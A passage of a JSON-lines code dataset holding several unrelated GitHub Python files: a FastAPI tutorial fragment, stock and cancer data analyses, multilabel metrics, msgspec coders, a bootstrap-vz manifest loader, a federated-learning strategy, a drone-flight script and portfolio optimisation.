post_dict['id'] = id # this is necessary\n my_posts[index] = post_dict # replace the post at index __ with the new post\n return {'data': post_dict}\n\n","repo_name":"seba-valenzuela/python-code","sub_path":"FastAPI_Tutorial/app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39983017483","text":"from sklearn.linear_model import LinearRegression\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import mean_squared_error\n\ndef train_and_predict(historical_df, predict_df):\n # Prepare features and target variable\n X = historical_df[['Open', 'High', 'Low', 'Volume']] # Use relevant features as X\n y = historical_df['Close'] # Predict the Close price\n\n # Split data into training and testing sets\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)\n\n # Train a linear regression model\n model = LinearRegression()\n model.fit(X_train, y_train)\n\n # Predict on test data\n y_pred = model.predict(X_test)\n\n # Evaluate the model\n mse = mean_squared_error(y_test, y_pred)\n print(\"Mean Squared Error:\", mse)\n\n # Prepare features for prediction\n X_pred = predict_df # Prepare X_pred with relevant features for prediction\n\n # Make predictions\n y_pred = model.predict(X_pred)\n\n # Print predicted stock prices\n print(y_pred)\n \n\n","repo_name":"somakarthi07/stock-price-prediction-server","sub_path":"prediction.py","file_name":"prediction.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7708658321","text":"\n\"\"\"\nCreated on Sun Jul 7 22:31:33 2019\nFinal Project Phase 1\nAnalysis of available Breast Cancer data\n@author: vishal_bhalla\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\n\n\"\"\"\nData Structure\nID \t\tSample code number \tid \t\t\tnumber \nA2 \t\tClump Thickness \t\t\t\t 1 - 10 \nA3 \t\tUniformity of Cell Size \t\t1 - 10 \nA4 \t\tUniformity of Cell Shape \t\t1 - 10 \nA5 \t\tMarginal Adhesion \t\t\t\t1 - 10 \nA6 \t\tSingle Epithelial Cell Size 1 - 10 \nA7 \t\tBare Nuclei \t\t\t\t\t 1 - 10 \nA8 \t\tBland Chromatin \t\t\t\t 1 - 10 \nA9 \t\tNormal Nucleoli \t\t\t\t 1 - 10 \nA10 \tMitoses \t\t\t\t\t\t 1 - 10 \nClass \t2 for benign, 4 for malignant \t2 or 4 \n\"\"\"\n\ndef drawHist(cData):\n for rowIndex in cData:\n plt.hist(cData[rowIndex] , bins=20, color = \"red\")\n plt.xlabel('Values')\n plt.ylabel('Counts')\n plt.title(rowIndex)\n plt.show()\n \ndef calcStat(cData):\n statDF = pd.DataFrame(columns=(\"mean\",\"median\",\"sd\",\"variance\"), index=cData.columns)\n # Calculate and save the stats to statDF dataframe, for one column of cData at a time\n for rowIndex in cData:\n statDF.loc[rowIndex,\"mean\"] = round(cData[rowIndex].mean(),2)\n statDF.loc[rowIndex,\"median\"] = round(cData[rowIndex].median(),2)\n statDF.loc[rowIndex,\"sd\"] = round(cData[rowIndex].std(),2)\n statDF.loc[rowIndex,\"variance\"] = round(cData[rowIndex].var(),2)\n print(statDF)\n\n \ndef main():\n print(\"\\n This program analyses the Breast Cancer Data \\n\")\n # Load the data into a data frame, forward fill the NA values and convert to int \n brCancerRawData = pd.read_csv(\"../Data/Breast-Cancer-Wisconsin.csv\" , na_values = '?', dtype = 'str')\n brCancerRawData[\"A7\"] = brCancerRawData[\"A7\"].ffill()\n brCancerRawData = brCancerRawData.astype(int)\n \n #Call calcStat function to calculate the various statistics\n \n print(\"\\n Below are the Mean, Median , Standard Deviation and Variance of the observations in the data \\n\")\n calcStat(brCancerRawData.loc[:,\"A2\":\"A10\"])\n \n # Call drawHist function to plot the histograms for each columns\n \n print(\"\\n Below histograms represent the observations in the data \\n\")\n drawHist(brCancerRawData.loc[:,\"A2\":\"A10\"])\n \n \nmain()\n\n\n","repo_name":"vibhalla/exploratoryanalytics","sub_path":"CodePortfolio/Python/Code/Main_phase1.py","file_name":"Main_phase1.py","file_ext":"py","file_size_in_byte":2224,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"12550354282","text":"#Auxiliary functions\nimport numpy as np\ndef relevantIndexes(matrix, row):\n \"\"\"\n Gets the relevant indexes of a vector\n \"\"\"\n relevant = []\n for j in range(matrix.shape[1]):\n if matrix[row,j] == 1:\n relevant.append(int(j))\n \n return relevant\n\n\ndef irrelevantIndexes(matrix, row):\n \"\"\"\n Gets the irrelevant indexes of a vector\n \"\"\"\n irrelevant = []\n for j in range(matrix.shape[1]):\n if matrix[row,j] == 0:\n irrelevant.append(int(j))\n \n return irrelevant\n\ndef multilabelConfussionMatrix(y_test, predictions):\n \"\"\"\n Returns the TP, FP, TN, FN\n \"\"\"\n TP = np.zeros(y_test.shape[1])\n FP = np.zeros(y_test.shape[1])\n TN = np.zeros(y_test.shape[1])\n FN = np.zeros(y_test.shape[1])\n\n for j in range(y_test.shape[1]):\n TPaux = 0\n FPaux = 0\n TNaux = 0\n FNaux = 0\n for i in range(y_test.shape[0]):\n if int(y_test[i,j]) == 1:\n if int(y_test[i,j]) == 1 and int(predictions[i,j]) == 1:\n TPaux += 1\n else:\n FPaux += 1\n else:\n if int(y_test[i,j]) == 0 and int(predictions[i,j]) == 0:\n TNaux += 1\n else:\n FNaux += 1\n TP[j] = TPaux\n FP[j] = FPaux\n TN[j] = TNaux\n FN[j] = FNaux\n\n return TP, FP, TN, FN\n\ndef multilabelMicroConfussionMatrix(TP, FP, TN, FN):\n TPMicro = 0.0\n FPMicro = 0.0\n TNMicro = 0.0\n FNMicro = 0.0\n \n for i in range(len(TP)):\n TPMicro = TPMicro + TP[i]\n FPMicro = FPMicro + FP[i]\n TNMicro = TNMicro + TN[i]\n FNMicro = FNMicro + FN[i]\n \n return TPMicro, FPMicro, TNMicro, FNMicro\n\ndef rankingMatrix(probabilities):\n \"\"\"\n Matrix with the rankings for each label\n \"\"\"\n ranking = np.zeros(shape=[probabilities.shape[0], probabilities.shape[1]])\n probCopy = np.copy(probabilities)\n for i in range(probabilities.shape[0]):\n indexMost = 0\n iteration = 1\n while(sum(probCopy[i,:]) != 0):\n for j in range(probabilities.shape[1]):\n if probCopy[i,j] > probCopy[i,indexMost]:\n indexMost = j\n ranking[i, indexMost] = iteration\n probCopy[i, indexMost] = 0\n iteration += 1\n \n return ranking","repo_name":"Jopepato/multilabelMetrics","sub_path":"multilabelMetrics/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":2385,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"3"} +{"seq_id":"35273397759","text":"from typing import Any, Callable, Optional, Tuple, Type\nfrom uuid import UUID\n\nimport msgspec\n\n\ndef _ms_enc_hook(obj: Any) -> Any:\n \"\"\"msgspec encoder hook for other data types.\"\"\"\n if isinstance(obj, UUID):\n return obj.hex\n else:\n raise TypeError(f\"Objects of type {type(obj)} are not supported\")\n\n\ndef _ms_dec_hook(type: Type, obj: Any) -> Any:\n \"\"\"msgspec decoder hook for other data types.\"\"\"\n if type is UUID:\n return UUID(obj)\n else:\n raise TypeError(f\"Objects of type {type} are not supported\")\n\n\ndef get_msgspec_coders(\n codec: str,\n enc_type: Type[Any],\n dec_type: Optional[Type[Any]] = None,\n) -> Tuple[Callable[[Any], bytes], Callable[[bytes], Any]]:\n \"\"\"Gets the ``msgspec`` library encoder/decoder specified.\n\n Parameters\n ----------\n codec : str\n The name of the encoding to get the objects for (either ``json``\n or ``msgpack``).\n enc_type : type\n The object type to create the encoder for.\n dec_type : type, optional\n The object type to create the decoder for (if not given then the\n type specified by the given `enc_type` will be used).\n\n Returns\n -------\n Tuple[Encoder, Decoder]\n The requested encoder/decoder pair (if supported).\n\n Raises\n ------\n NotImplementedError\n If the specified `codec` is not implemented/supported.\n\n \"\"\"\n if dec_type is None:\n dec_type = enc_type\n\n if codec == \"json\":\n encoder = msgspec.json.Encoder(enc_hook=_ms_enc_hook)\n decoder = msgspec.json.Decoder(type=dec_type, dec_hook=_ms_dec_hook)\n elif codec == \"msgpack\":\n encoder = msgspec.msgpack.Encoder(enc_hook=_ms_enc_hook)\n decoder = msgspec.msgpack.Decoder(type=dec_type, dec_hook=_ms_dec_hook)\n else:\n raise NotImplementedError(codec)\n return encoder.encode, decoder.decode\n\n\ndef get_msgspec_topic(\n codec: str,\n obj_type: Type[msgspec.Struct],\n match_first: str,\n) -> bytes:\n \"\"\"Gets the topic bytes to match for ZMQ subscribers.\n\n Parameters\n ----------\n codec : str\n The encoding framework being used on the transmitted data.\n obj_type : msgspec.Struct\n The class of the data objects being transmitted.\n match_first : str\n The first field value in the encoded object (must be of type\n ``str``) to match against.\n\n Returns\n -------\n bytes\n The bytes to use for subscription topic matching.\n\n Raises\n ------\n NotImplementedError\n If the specified `codec` is not supported.\n\n \"\"\"\n if codec == \"json\":\n pre = '[\"'.encode(\"UTF-8\")\n elif codec == \"msgpack\":\n n_elem = len(obj_type.__struct_fields__)\n if n_elem <= 15:\n arr_pre = (144 + n_elem).to_bytes(1, \"big\", signed=False)\n elif 16 <= n_elem <= ((2 ** 16) - 1):\n arr_pre = b\"\\xdc\" + n_elem.to_bytes(16, \"big\", signed=False)\n else:\n arr_pre = b\"\\xdd\" + n_elem.to_bytes(32, \"big\", signed=False)\n\n n_str = len(match_first)\n if n_str <= 31:\n str_pre = (160 + n_str).to_bytes(1, \"big\", signed=False)\n elif 32 <= n_str <= ((2 ** 8) - 1):\n str_pre = b\"\\xd9\" + n_str.to_bytes(8, \"big\", signed=False)\n elif (2 ** 8) <= n_str <= ((2 ** 16) - 1):\n str_pre = b\"\\xda\" + n_str.to_bytes(16, \"big\", signed=False)\n else:\n str_pre = b\"\\xdb\" + n_str.to_bytes(32, \"big\", signed=False)\n\n pre = arr_pre + str_pre\n else:\n raise NotImplementedError(codec)\n\n return pre + match_first.encode(\"UTF-8\")\n","repo_name":"douglasdaly/squad-robot","sub_path":"src/squad/engine/messaging/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"21739587957","text":"\"\"\"Federated Averaging with Momentum (FedAvgM) [Hsu et al., 2019] strategy\nand LR Scheduler \n\"\"\"\nfrom logging import WARNING\nimport sys\nfrom typing import Callable, Dict, List, Optional, Tuple\nfrom models import FederatedModel\n\nfrom flwr.common import (\n FitRes,\n MetricsAggregationFn,\n EvaluateRes,\n Parameters,\n Scalar,\n Weights,\n parameters_to_weights,\n weights_to_parameters,\n)\nfrom flwr.common.logger import log\nfrom flwr.server.client_manager import ClientManager\nfrom flwr.server.client_proxy import ClientProxy\n\nfrom flwr.server.strategy import FedAvg\nfrom .aggregation import aggregate, aggregate_ranking, weighted_loss_avg, get_lr_warm_restart\n#from flwr.server.strategy import aggregate, weighted_loss_avg\nfrom flwr.server.strategy import Strategy\n\nfrom .strategies import MLFlowStrategy\n\nWARNING_MIN_AVAILABLE_CLIENTS_TOO_LOW = \"\"\"\nSetting `min_available_clients` lower than `min_fit_clients` or\n`min_eval_clients` can cause the server to fail when there are too few clients\nconnected to the server. `min_available_clients` must be set to a value larger\nthan or equal to the values of `min_fit_clients` and `min_eval_clients`.\n\"\"\"\n\nclass LrMFedAvg(FedAvg, MLFlowStrategy):\n \"\"\"Configurable FedAvg with Momentum strategy implementation.\"\"\"\n\n # pylint: disable=too-many-arguments,too-many-instance-attributes\n def __init__(\n self,\n model: FederatedModel, \n registered_model_name: str,\n fraction_fit: float = 0.1,\n fraction_eval: float = 0.1,\n min_fit_clients: int = 2,\n min_eval_clients: int = 2,\n min_available_clients: int = 2,\n eval_fn: Optional[\n Callable[[Weights], Optional[Tuple[float, Dict[str, Scalar]]]]\n ] = None,\n on_fit_config_fn: Optional[Callable[[int], Dict[str, Scalar]]] = None,\n on_evaluate_config_fn: Optional[Callable[[int], Dict[str, Scalar]]] = None,\n accept_failures: bool = True,\n initial_parameters: Optional[Parameters] = None,\n fit_metrics_aggregation_fn: Optional[MetricsAggregationFn] = None,\n evaluate_metrics_aggregation_fn: Optional[MetricsAggregationFn] = None,\n server_learning_rate: float = 0.05,\n server_momentum: float = 0.997,\n ) -> None:\n \"\"\"Federated Averaging with Momentum strategy.\n\n Implementation based on https://arxiv.org/pdf/1909.06335.pdf\n\n Parameters\n ----------\n fraction_fit : float, optional\n Fraction of clients used during training. Defaults to 0.1.\n fraction_eval : float, optional\n Fraction of clients used during validation. Defaults to 0.1.\n min_fit_clients : int, optional\n Minimum number of clients used during training. Defaults to 2.\n min_eval_clients : int, optional\n Minimum number of clients used during validation. Defaults to 2.\n min_available_clients : int, optional\n Minimum number of total clients in the system. Defaults to 2.\n eval_fn : Callable[[Weights], Optional[Tuple[float, Dict[str, Scalar]]]]\n Optional function used for validation. Defaults to None.\n on_fit_config_fn : Callable[[int], Dict[str, Scalar]], optional\n Function used to configure training. Defaults to None.\n on_evaluate_config_fn : Callable[[int], Dict[str, Scalar]], optional\n Function used to configure validation. Defaults to None.\n accept_failures : bool, optional\n Whether or not accept rounds containing failures. Defaults to True.\n initial_parameters : Parameters, optional\n Initial global model parameters.\n server_learning_rate: float\n Server-side learning rate used in server-side optimization.\n Defaults to 0.001\n server_momentum: float\n Server-side momentum factor used for FedAvgM. Defaults to 0.0.\n \"\"\"\n\n if (\n min_fit_clients > min_available_clients\n or min_eval_clients > min_available_clients\n ):\n log(WARNING, WARNING_MIN_AVAILABLE_CLIENTS_TOO_LOW)\n \n self._model = model\n self._registered_model_name = registered_model_name\n MLFlowStrategy.__init__(self)\n FedAvg.__init__(self, fraction_fit=fraction_fit,\n fraction_eval=fraction_eval,\n min_fit_clients=min_fit_clients,\n min_eval_clients=min_eval_clients,\n min_available_clients=min_available_clients,\n eval_fn=eval_fn,\n on_fit_config_fn=on_fit_config_fn,\n on_evaluate_config_fn=on_evaluate_config_fn,\n accept_failures=accept_failures,\n initial_parameters=initial_parameters,\n fit_metrics_aggregation_fn=fit_metrics_aggregation_fn,\n evaluate_metrics_aggregation_fn=evaluate_metrics_aggregation_fn)\n\n self.server_learning_rate = server_learning_rate\n self.server_momentum = server_momentum\n self.server_opt: bool = (self.server_momentum != 0.0) or (\n self.server_learning_rate != 1.0\n )\n print(f\"Server opt : {self.server_opt}\")\n self.momentum_vector: Optional[Weights] = None\n self.fit_metrics_aggregation_fn = fit_metrics_aggregation_fn\n self.evaluate_metrics_aggregation_fn = evaluate_metrics_aggregation_fn\n\n def __repr__(self) -> str:\n rep = f\"FedAvgM(accept_failures={self.accept_failures})\"\n return rep\n\n def initialize_parameters(\n self, client_manager: ClientManager\n ) -> Optional[Parameters]:\n \"\"\"Initialize global model parameters.\"\"\"\n return self.initial_parameters\n\n def aggregate_fit(\n self,\n rnd: int,\n results: List[Tuple[ClientProxy, FitRes]],\n failures: List[BaseException],\n ) -> Tuple[Optional[Parameters], Dict[str, Scalar]]:\n \"\"\"Aggregate fit results using weighted average.\"\"\"\n if not results:\n return None, {}\n # Do not aggregate if there are failures and failures are not accepted\n if not self.accept_failures and failures:\n return None, {}\n # Convert results\n weights_results = [\n (parameters_to_weights(fit_res.parameters), fit_res.num_examples)\n for _, fit_res in results\n ]\n\n fedavg_result = aggregate(weights_results)\n # following convention described in\n # https://pytorch.org/docs/stable/generated/torch.optim.SGD.html\n if self.server_opt:\n # You need to initialize the model\n assert (\n self.initial_parameters is not None\n ), \"When using server-side optimization, model needs to be initialized.\"\n initial_weights = parameters_to_weights(self.initial_parameters)\n # remember that updates are the opposite of gradients\n pseudo_gradient = [\n x - y\n for x, y in zip(\n parameters_to_weights(self.initial_parameters), fedavg_result\n )\n ]\n if self.server_momentum > 0.0:\n if rnd > 1:\n assert (\n self.momentum_vector\n ), \"Momentum should have been created on round 1.\"\n self.momentum_vector = [\n self.server_momentum * x + y\n for x, y in zip(self.momentum_vector, pseudo_gradient)\n ]\n else:\n self.momentum_vector = pseudo_gradient\n\n # No nesterov for now\n pseudo_gradient = self.momentum_vector\n\n # SGD\n lr = get_lr_warm_restart(rnd, t_i=4, n_imin=self.server_learning_rate/5, n_imax=self.server_learning_rate*5)\n fedavg_result = [\n x - lr * y\n for x, y in zip(initial_weights, pseudo_gradient)\n ]\n print(f\"Current lr {self.server_learning_rate} lr calculated {lr} rnd {rnd}\")\n # Update current weights\n self.initial_parameters = weights_to_parameters(fedavg_result)\n\n parameters_aggregated = weights_to_parameters(fedavg_result)\n self._set_log_aggregated_weights(parameters_aggregated, rnd)\n \n # Aggregate custom metrics if aggregation fn was provided\n metrics_aggregated = {}\n if self.fit_metrics_aggregation_fn:\n fit_metrics = [(res.num_examples, res.metrics) for _, res in results]\n metrics_aggregated = self.fit_metrics_aggregation_fn(fit_metrics)\n elif rnd == 1:\n log(WARNING, \"No fit_metrics_aggregation_fn provided\")\n\n return parameters_aggregated, metrics_aggregated\n\n def aggregate_evaluate(\n self,\n rnd: int,\n results: List[Tuple[ClientProxy, EvaluateRes]],\n failures: List[BaseException],\n ) -> Optional[float]:\n \"\"\" Implement abstract aggregate_evaluate method from Flower Strategy class\n Print useful cumulative metrics from all clients\n \"\"\"\n if not results:\n return None, {}\n examples = [r.num_examples for _, r in results]\n self._format_metrics(results) \n self._log_metrics(rnd, failures, examples)\n print(\"[SERVER] Sending aggregated results ..\", file=sys.stderr)\n \n return super().aggregate_evaluate(rnd, results, failures)","repo_name":"Mathugo/flower_federated_learning","sub_path":"ofb-flower/server/flower/src/strategies/lrmstrategy.py","file_name":"lrmstrategy.py","file_ext":"py","file_size_in_byte":9396,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"22654021255","text":"\"\"\"The Manifest module contains the manifest that providers and plugins use\nto determine which tasks should be added to the tasklist, what arguments various\ninvocations should have etc..\n\"\"\"\nfrom bootstrapvz.common.exceptions import ManifestError\nfrom bootstrapvz.common.tools import load_data, rel_path\nimport logging\nlog = logging.getLogger(__name__)\n\n\nclass Manifest(object):\n \"\"\"This class holds all the information that providers and plugins need\n to perform the bootstrapping process. All actions that are taken originate from\n here. The manifest shall not be modified after it has been loaded.\n Currently, immutability is not enforced and it would require a fair amount of code\n to enforce it, instead we just rely on tasks behaving properly.\n \"\"\"\n\n def __init__(self, path=None, data=None):\n \"\"\"Initializer: Given a path we load, validate and parse the manifest.\n To create the manifest from dynamic data instead of the contents of a file,\n provide a properly constructed dict as the data argument.\n\n :param str path: The path to the manifest (ignored, when `data' is provided)\n :param str data: The manifest data, if it is not None, it will be used instead of the contents of `path'\n \"\"\"\n if path is None and data is None:\n raise ManifestError('`path\\' or `data\\' must be provided')\n self.path = path\n\n self.metaschema = load_data(rel_path(__file__, 'metaschema.json'))\n\n self.load_data(data)\n self.load_modules()\n self.validate()\n self.parse()\n\n def load_data(self, data=None):\n \"\"\"Loads the manifest and performs a basic validation.\n This function reads the manifest and performs some basic validation of\n the manifest itself to ensure that the properties required for initalization are accessible\n (otherwise the user would be presented with some cryptic error messages).\n \"\"\"\n if data is None:\n self.data = load_data(self.path)\n else:\n self.data = data\n\n from . import validate_manifest\n # Validate the manifest with the base validation function in __init__\n validate_manifest(self.data, self.schema_validator, self.validation_error)\n\n def load_modules(self):\n \"\"\"Loads the provider and the plugins.\n \"\"\"\n # Get the provider name from the manifest and load the corresponding module\n provider_modname = 'bootstrapvz.providers.' + self.data['provider']['name']\n log.debug('Loading provider ' + self.data['provider']['name'])\n # Create a modules dict that contains the loaded provider and plugins\n import importlib\n self.modules = {'provider': importlib.import_module(provider_modname),\n 'plugins': [],\n }\n # Run through all the plugins mentioned in the manifest and load them\n from pkg_resources import iter_entry_points\n if 'plugins' in self.data:\n for plugin_name in self.data['plugins'].keys():\n log.debug('Loading plugin ' + plugin_name)\n try:\n # Internal bootstrap-vz plugins take precedence wrt. plugin name\n modname = 'bootstrapvz.plugins.' + plugin_name\n plugin = importlib.import_module(modname)\n except ImportError:\n entry_points = list(iter_entry_points('bootstrapvz.plugins', name=plugin_name))\n num_entry_points = len(entry_points)\n if num_entry_points < 1:\n raise\n if num_entry_points > 1:\n msg = ('Unable to load plugin {name}, '\n 'there are {num} entry points to choose from.'\n .format(name=plugin_name, num=num_entry_points))\n raise ImportError(msg)\n plugin = entry_points[0].load()\n self.modules['plugins'].append(plugin)\n\n def validate(self):\n \"\"\"Validates the manifest using the provider and plugin validation functions.\n Plugins are not required to have a validate_manifest function\n \"\"\"\n\n # Run the provider validation\n self.modules['provider'].validate_manifest(self.data, self.schema_validator, self.validation_error)\n # Run the validation function for any plugin that has it\n for plugin in self.modules['plugins']:\n validate = getattr(plugin, 'validate_manifest', None)\n if callable(validate):\n validate(self.data, self.schema_validator, self.validation_error)\n\n def parse(self):\n \"\"\"Parses the manifest.\n Well... \"parsing\" is a big word.\n The function really just sets up some convenient attributes so that tasks\n don't have to access information with info.manifest.data['section']\n but can do it with info.manifest.section.\n \"\"\"\n self.name = self.data['name']\n self.provider = self.data['provider']\n self.bootstrapper = self.data['bootstrapper']\n self.volume = self.data['volume']\n self.system = self.data['system']\n from bootstrapvz.common.releases import get_release\n self.release = get_release(self.system['release'])\n # The packages and plugins sections are not required\n self.packages = self.data['packages'] if 'packages' in self.data else {}\n self.plugins = self.data['plugins'] if 'plugins' in self.data else {}\n\n def schema_validator(self, data, schema_path):\n \"\"\"This convenience function is passed around to all the validation functions\n so that they may run a json-schema validation by giving it the data and a path to the schema.\n\n :param dict data: Data to validate (normally the manifest data)\n :param str schema_path: Path to the json-schema to use for validation\n \"\"\"\n import jsonschema\n\n schema = load_data(schema_path)\n\n try:\n jsonschema.validate(schema, self.metaschema)\n jsonschema.validate(data, schema)\n except jsonschema.ValidationError as e:\n self.validation_error(e.message, e.path)\n\n def validation_error(self, message, data_path=None):\n \"\"\"This function is passed to all validation functions so that they may\n raise a validation error because a custom validation of the manifest failed.\n\n :param str message: Message to user about the error\n :param list data_path: A path to the location in the manifest where the error occurred\n :raises ManifestError: With absolute certainty\n \"\"\"\n raise ManifestError(message, self.path, data_path)\n\n def __getstate__(self):\n return {'__class__': self.__module__ + '.' + self.__class__.__name__,\n 'path': self.path,\n 'metaschema': self.metaschema,\n 'data': self.data}\n\n def __setstate__(self, state):\n self.path = state['path']\n self.metaschema = state['metaschema']\n self.load_data(state['data'])\n self.load_modules()\n self.validate()\n self.parse()\n","repo_name":"andsens/bootstrap-vz","sub_path":"bootstrapvz/base/manifest.py","file_name":"manifest.py","file_ext":"py","file_size_in_byte":7240,"program_lang":"python","lang":"en","doc_type":"code","stars":262,"dataset":"github-code","pt":"3"} +{"seq_id":"74520939600","text":"import numpy as np\nimport traceback\nimport argparse\nimport json\nfrom stable_baselines3 import PPO\nfrom time import time, sleep\n\nimport pybullet_data\n\nfrom envs.MocapAviary import MocapAviary\nfrom envs.utils.PositionConstraint import PositionConstraint\nfrom envs.utils.NoiseWrapper import NoiseWrapper, LPFDenoiseEngine, KFDenoiseEngine\n\nURI = 'radio://0/80/2M'\ncontrolPeriod = 10 #10ms\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument(\"modelPath\", help=\"Path to the Model\", type=str)\nparser.add_argument(\"mu\", help=\"Mean of the Noise\", type=float)\nparser.add_argument(\"sigma\", help=\"Standard Deviation of the Noise\", type=float)\nparser.add_argument(\"denoiser\", help=\"Denoiser to Use\", choices={'none', 'lpf', 'kf'}, type=str)\n\nargs = parser.parse_args()\n\nenvFile = {\n 'none': f'../configs/NoDenoiserEnvFixed.json',\n 'lpf': f'../configs/LPFDenoiserEnvFixed.json',\n 'kf': f'../configs/KFDenoiserEnvFixed.json'\n}[args.denoiser]\n\nwith open(envFile, 'r') as f:\n envConfig = json.load(f)\n\nenvConfig['noiseParameters']['mu'] = args.mu\nenvConfig['noiseParameters']['sigma'] = args.sigma\n\nenvConfig = argparse.Namespace(**envConfig)\ngeoFence = PositionConstraint(envConfig.xmin, envConfig.xmax, envConfig.ymin, envConfig.ymax, envConfig.zmin, envConfig.zmax)\n\ncoreEnv = MocapAviary(URI, geoFence, envConfig.obstacles, 0.5, controlPeriod)\n\nnoiseParameters = argparse.Namespace(**envConfig.noiseParameters)\ndenoiseEngineData = noiseParameters.denoiseEngine\n\nif denoiseEngineData is not None:\n denoiseEngineData = argparse.Namespace(**denoiseEngineData)\n if denoiseEngineData.method == 'lpf':\n denoiseEngine = LPFDenoiseEngine(**denoiseEngineData.parameters, freq=envConfig.controlFreq)\n elif denoiseEngineData.method == 'kf':\n denoiseEngine = KFDenoiseEngine(noiseParameters.sigma, 1/envConfig.controlFreq, coreEnv.fixedAltitude, coreEnv.initPos, **denoiseEngineData.parameters)\n else:\n raise NotImplementedError(f\"Denoise Method {denoiseEngineData.method} not implemented\")\nelse:\n denoiseEngine = None\n\nenv = NoiseWrapper(coreEnv, envConfig.mu, envConfig.sigma, denoiseEngine)\n\nagent = PPO.load(args.modelPath)\n\ntry:\n obs = env.reset()\n start_time = time()\n while True:\n sleep(controlPeriod/1000)\n env.render(mode='3d')\n action, _ = agent.predict(obs, deterministic=True)\n obs, reward, done, info = env.step(action)\n if done or time() - start_time > 10000:\n break\n\n env.close()\n\nexcept Exception as e:\n print(e)\n print(traceback.format_exc())\n env.emergencyStop()\n env.close()","repo_name":"dkapur17/DroneControl","sub_path":"SBAgent/Fly.py","file_name":"Fly.py","file_ext":"py","file_size_in_byte":2592,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"} +{"seq_id":"43593597354","text":"N = int(input())\ncall_time = list(map(int,input().split()))\n#print(call_time)\n\ndef call_cost(x):\n Y_cost = 0\n M_cost = 0\n \n for i in x:\n call_minute = 0\n call_second = 0\n call_minute += i // 60\n call_second += i % 60\n #print(call_minute, call_second)\n if call_second > 30 :\n Y_cost += ((call_minute+1) * 20)\n M_cost += ((call_minute+1) * 15)\n #print(i, Y_cost, M_cost)\n else:\n Y_cost += (((call_minute) * 20) + 10)\n M_cost += ((call_minute+1) * 15)\n #print(i, Y_cost, M_cost)\n if Y_cost == M_cost :\n print(\"Y\", \"M\", Y_cost, sep=' ')\n elif Y_cost > M_cost :\n print(\"M\", M_cost, sep=' ')\n else:\n print(\"Y\", Y_cost, sep=' ')\n\ncall_cost(call_time)\n ","repo_name":"deep-blue-dream/Solve-it-Baekjoon","sub_path":"백준/Bronze/1267. 핸드폰 요금/핸드폰 요금.py","file_name":"핸드폰 요금.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"40893784144","text":"from scipy.optimize import minimize\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n\ndef opti_mkv(sample, target):\n\n mean_returns = [sample[col].mean() for col in sample.columns.values]\n cov_matrix = sample.cov()\n\n def volatility(weights):\n return np.sqrt(np.dot(weights.T,np.dot(cov_matrix.values,weights)) )\n \n def min_ret(weights): \n return np.dot(weights.T, [sample[col].mean() for col in sample.columns.values] )\n \n def sharpe_ratio(weights):\n return -min_ret(weights)/volatility(weights)\n\n if target == \"min_var\":\n constraints = ({'type': 'eq', 'fun': lambda x: np.sum(x) - 1})\n function = volatility\n elif target == \"max_sharpe\":\n constraints = ({'type': 'eq', 'fun': lambda x: np.sum(x) - 1})\n function = sharpe_ratio\n else:\n constraints = ({'type': 'eq', 'fun': lambda x: min_ret(x) - target}, {'type': 'eq', 'fun': lambda x: np.sum(x) - 1})\n function = volatility\n\n bounds = [(-1,1) for i in range(0,len(mean_returns))]\n param_start = [1/len(mean_returns) for i in range(0,len(mean_returns))]\n opti_method = 'SLSQP'\n results = minimize(function, param_start, method=opti_method, bounds=bounds, constraints=constraints)\n\n return results.x\n\n\ndef plot_eff_frontier(sample):\n\n random_comb = pd.DataFrame(columns=[\"ret\",\"vol\"])\n k = np.random.rand(len(sample.columns) )\n weights_random = k / sum(k)\n\n for i in range(1000):\n k = np.random.rand(len(sample.columns) )\n weights_random = k / sum(k)\n vol = np.sqrt(np.dot(weights_random.T,np.dot(sample.cov().values,weights_random)) )*np.sqrt(252)\n ret = np.dot(weights_random.T, [sample[col].mean() for col in sample.columns.values] )*252\n random_comb = random_comb.append({\"ret\":ret,\"vol\":vol}, ignore_index=True)\n\n eff_comb = pd.DataFrame(columns=[\"ret\",\"vol\"])\n target_returns = np.linspace(sample.mean().min(),sample.mean().max(),50)\n\n\n for stp_ret in target_returns:\n weights = opti_mkv(sample, stp_ret)\n\n vol = np.sqrt(np.dot(weights.T,np.dot(sample.cov().values,weights)) )*np.sqrt(252)\n ret = np.dot(weights.T, [sample[col].mean() for col in sample.columns.values] )*252\n eff_comb = eff_comb.append({\"ret\":ret,\"vol\":vol}, ignore_index=True)\n\n plt.plot(eff_comb[\"vol\"], eff_comb[\"ret\"],'r--', color='red')\n plt.scatter(random_comb[\"vol\"], random_comb[\"ret\"],marker='.', color='black')\n\n min_y = eff_comb[\"ret\"].min() - (eff_comb[\"ret\"].max() - eff_comb[\"ret\"].min())*0.1\n max_y = eff_comb[\"ret\"].max() + (eff_comb[\"ret\"].max() - eff_comb[\"ret\"].min())*0.1\n min_x = eff_comb[\"vol\"].min() - (eff_comb[\"vol\"].max() - eff_comb[\"vol\"].min())*0.1\n max_x = eff_comb[\"vol\"].max() + (eff_comb[\"vol\"].max() - eff_comb[\"vol\"].min())*0.1\n plt.ylim(min_y,max_y)\n plt.xlim(min_x,max_x)\n plt.ylabel('mean')\n plt.xlabel('std') \n 